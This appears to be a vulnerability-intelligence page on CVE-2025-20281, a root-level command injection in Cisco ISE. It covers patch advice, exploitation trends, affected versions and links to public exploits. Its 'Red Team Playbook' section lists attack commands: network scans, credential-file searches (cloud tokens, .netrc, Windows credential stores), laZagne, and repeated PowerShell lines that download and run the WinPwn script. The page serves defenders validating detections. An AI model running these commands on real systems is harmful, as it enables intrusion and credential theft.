CVE-2025-20281
Overview
This vulnerability is a command injection flaw caused by insufficient validation of user-supplied input within a specific API endpoint of Cisco Identity Services Engine (ISE) software. The affected component is the deployment-rpc API, specifically the enableStrongSwanTunnel function, which processes crafted requests without proper sanitization. The lack of input validation allows malicious payloads to be executed on the underlying operating system with root privileges.
Vulnerability Description
A vulnerability in a specific API of Cisco ISE and Cisco ISE-PIC could allow an unauthenticated, remote attacker to execute arbitrary code on the underlying operating system as root. The attacker does not require any valid credentials to exploit this vulnerability. This vulnerability is due to insufficient validation of user-supplied input. An attacker could exploit this vulnerability by submitting a crafted API request. A successful exploit could allow the attacker to obtain root privileges on an affected device.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary commands on the affected device with root-level privileges. No authentication or user interaction is required, enabling full system compromise. This access allows the attacker to manipulate system configurations, extract sensitive data, disrupt services, or move laterally within the network, posing a critical threat to organizational security and operational continuity.
Solution
Cisco has released security updates addressing this vulnerability in Cisco Identity Services Engine Software version 3.3.0 and its patch releases. Administrators should apply the patches as detailed in Cisco Security Advisory cisco-sa-ise-unauth-rce-ZAd2GnJ6 available at https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ise-unauth-rce-ZAd2GnJ6. Following the advisory's instructions for upgrading to the fixed versions or applying recommended mitigations is essential to remediate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Ransomware Intelligence
Predictions
Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.
The groups below are predictions based on historical exploitation patterns of the same vendor/product. These are not confirmations.
Full Analysis
The vulnerability in the API of Cisco Identity Services Engine (ISE) and its Passive Identity Connector (PIC) stems from inadequate validation of user-supplied input. This flaw allows an unauthenticated remote attacker to craft specific API requests that can lead to arbitrary code execution with root privileges on the underlying operating system. The lack of stringent input validation means that the system does not properly check the integrity or authenticity of the incoming data, which can be exploited to manipulate the execution flow of the application. This critical oversight poses a significant threat, as it opens the door for attackers to gain complete control over affected devices without needing any valid credentials.
Exploitation of this vulnerability can occur through various attack vectors, primarily targeting the exposed API endpoints. An attacker could utilize automated tools to send crafted requests that exploit the input validation flaw. Given that the attacker does not require authentication, this type of attack can be executed from anywhere on the internet, making it particularly dangerous. Scenarios may include deploying malicious payloads that could lead to data breaches, unauthorized access to sensitive information, or even the establishment of persistent backdoors for future exploitation. The ease of access and the potential for severe consequences amplify the risk associated with this vulnerability.
The real-world impact of this vulnerability is profound, especially for organizations relying on Cisco ISE for network security and identity management. Successful exploitation could lead to unauthorized access to critical infrastructure, resulting in data theft, service disruption, or compliance violations. The business risks are substantial, including financial losses, reputational damage, and potential legal ramifications stemming from breaches of sensitive data. Organizations may face increased scrutiny from regulators and customers alike, particularly if they fail to implement adequate security measures in response to such vulnerabilities.
To effectively detect and mitigate this vulnerability, organizations should adopt a multi-faceted approach. Regular security assessments, including vulnerability scanning and penetration testing, can help identify potential weaknesses in the system. Implementing robust logging and monitoring solutions can also provide visibility into unusual API activity, enabling timely responses to potential exploitation attempts. Furthermore, applying security patches and updates provided by Cisco is crucial in addressing this vulnerability. Organizations should prioritize the deployment of these patches across all affected versions of Cisco ISE and PIC to minimize exposure. Additionally, employing input validation and sanitization techniques in custom applications interfacing with these APIs can further reduce the risk of exploitation.
In conclusion, the vulnerability in Cisco ISE and PIC represents a critical security concern that necessitates immediate attention from affected organizations. The combination of unauthenticated access and the potential for arbitrary code execution underscores the need for robust security practices. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves to defend against such threats. Implementing comprehensive detection and mitigation strategies will not only protect sensitive information but also help maintain the integrity and trustworthiness of their network infrastructure.
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2025-20281, coinciding with a significant increase in the Exploit Prediction Scoring System (EPSS) score. This upward trend reflects growing attacker interest and the emergence of multiple new proof-of-concept exploits publicly available on GitHub, facilitating easier weaponization by threat actors. Although ransomware groups have not yet been definitively linked to active campaigns exploiting this vulnerability, the association with the Akira group underscores the potential for future integration into targeted operations. The combination of unauthenticated remote code execution with root privileges and heightened exploitation activity elevates the threat landscape, necessitating heightened vigilance. Consequently, the risk level for organizations running affected Cisco Identity Services Engine deployments has increased, as the window for opportunistic and targeted exploitation narrows rapidly.
Update 2 — July 04, 2026
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2025-20281, reflecting increased exploitation attempts targeting Cisco Identity Services Engine environments. This surge coincides with the proliferation of new unauthenticated proof-of-concept exploits publicly available on code-sharing platforms, which lower the barrier for adversaries to conduct remote code execution with root privileges. Although ransomware groups have not yet been definitively linked to active campaigns exploiting this vulnerability, the continued association with the Akira group remains a concern, as it suggests potential future weaponization in targeted intrusions. The persistence of a high EPSS score coupled with stable but elevated exploitation telemetry underscores that threat actors are actively leveraging this critical flaw. Consequently, the threat level for organizations running affected Cisco ISE deployments has intensified, warranting increased operational awareness and monitoring to detect and respond to exploitation attempts promptly.
Affected Products (18)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Cisco | Identity Services Engine | 3.3.0 |
cpe:2.3:a:cisco:identity_services_engine:3.3.0:-:*:*:*:*:*:*
|
|
|
Cisco | Identity Services Engine | 3.3.0 |
cpe:2.3:a:cisco:identity_services_engine:3.3.0:patch1:*:*:*:*:*:*
|
|
|
Cisco | Identity Services Engine | 3.3.0 |
cpe:2.3:a:cisco:identity_services_engine:3.3.0:patch2:*:*:*:*:*:*
|
|
|
Cisco | Identity Services Engine | 3.3.0 |
cpe:2.3:a:cisco:identity_services_engine:3.3.0:patch3:*:*:*:*:*:*
|
|
|
Cisco | Identity Services Engine | 3.3.0 |
cpe:2.3:a:cisco:identity_services_engine:3.3.0:patch4:*:*:*:*:*:*
|
|
|
Cisco | Identity Services Engine | 3.3.0 |
cpe:2.3:a:cisco:identity_services_engine:3.3.0:patch5:*:*:*:*:*:*
|
|
|
Cisco | Identity Services Engine | 3.3.0 |
cpe:2.3:a:cisco:identity_services_engine:3.3.0:patch6:*:*:*:*:*:*
|
|
|
Cisco | Identity Services Engine | 3.4.0 |
cpe:2.3:a:cisco:identity_services_engine:3.4.0:-:*:*:*:*:*:*
|
|
|
Cisco | Identity Services Engine | 3.4.0 |
cpe:2.3:a:cisco:identity_services_engine:3.4.0:patch1:*:*:*:*:*:*
|
|
|
Cisco | Identity Services Engine Passive Identity Connector | 3.3.0 |
cpe:2.3:a:cisco:identity_services_engine_passive_identity_connector:3.3.0:-:*:*:*:*:*:*
|
|
|
Cisco | Identity Services Engine Passive Identity Connector | 3.3.0 |
cpe:2.3:a:cisco:identity_services_engine_passive_identity_connector:3.3.0:patch1:*:*:*:*:*:*
|
|
|
Cisco | Identity Services Engine Passive Identity Connector | 3.3.0 |
cpe:2.3:a:cisco:identity_services_engine_passive_identity_connector:3.3.0:patch2:*:*:*:*:*:*
|
|
|
Cisco | Identity Services Engine Passive Identity Connector | 3.3.0 |
cpe:2.3:a:cisco:identity_services_engine_passive_identity_connector:3.3.0:patch3:*:*:*:*:*:*
|
|
|
Cisco | Identity Services Engine Passive Identity Connector | 3.3.0 |
cpe:2.3:a:cisco:identity_services_engine_passive_identity_connector:3.3.0:patch4:*:*:*:*:*:*
|
|
|
Cisco | Identity Services Engine Passive Identity Connector | 3.3.0 |
cpe:2.3:a:cisco:identity_services_engine_passive_identity_connector:3.3.0:patch5:*:*:*:*:*:*
|
|
|
Cisco | Identity Services Engine Passive Identity Connector | 3.3.0 |
cpe:2.3:a:cisco:identity_services_engine_passive_identity_connector:3.3.0:patch6:*:*:*:*:*:*
|
|
|
Cisco | Identity Services Engine Passive Identity Connector | 3.4.0 |
cpe:2.3:a:cisco:identity_services_engine_passive_identity_connector:3.4.0:-:*:*:*:*:*:*
|
|
|
Cisco | Identity Services Engine Passive Identity Connector | 3.4.0 |
cpe:2.3:a:cisco:identity_services_engine_passive_identity_connector:3.4.0:patch1:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (3)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
abrewer251/CVE-2025-20281-2-Cisco-ISE-RCE
Unauthenticated Python PoC for CVE-2025-20281 RCE against ISE ERS API
|
abrewer251 | 21 | 11 | 2025-06-27 | View |
|
grupooruss/CVE-2025-20281-Cisco
This script checks for the presence of the **CVE-2025-20281** vulnerability in Cisco Identity Services Engine (ISE) and ...
|
grupooruss | 7 | 2 | 2025-07-03 | View |
|
ill-deed/Cisco-CVE-2025-20281-illdeed
Unauthenticated Remote Code Execution exploit for CVE-2025-20281 in Cisco ISE ERS API. Execute commands or launch revers...
|
ill-deed | 5 | 2 | 2025-07-04 | View |
Threat Feed
7 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-20281 |
| sec.cloudapps.cisco.com |
GitHub CVE
|
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ise-unauth-rce-ZAd2GnJ6 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-20281 |
| zerodayinitiative.com |
NVD API
Exploit
Third Party Advisory
|
https://www.zerodayinitiative.com/blog/2025/7/24/cve-2025-20281-cisco-ise-api-unauthenticated-remote-code-execution-vulnerability |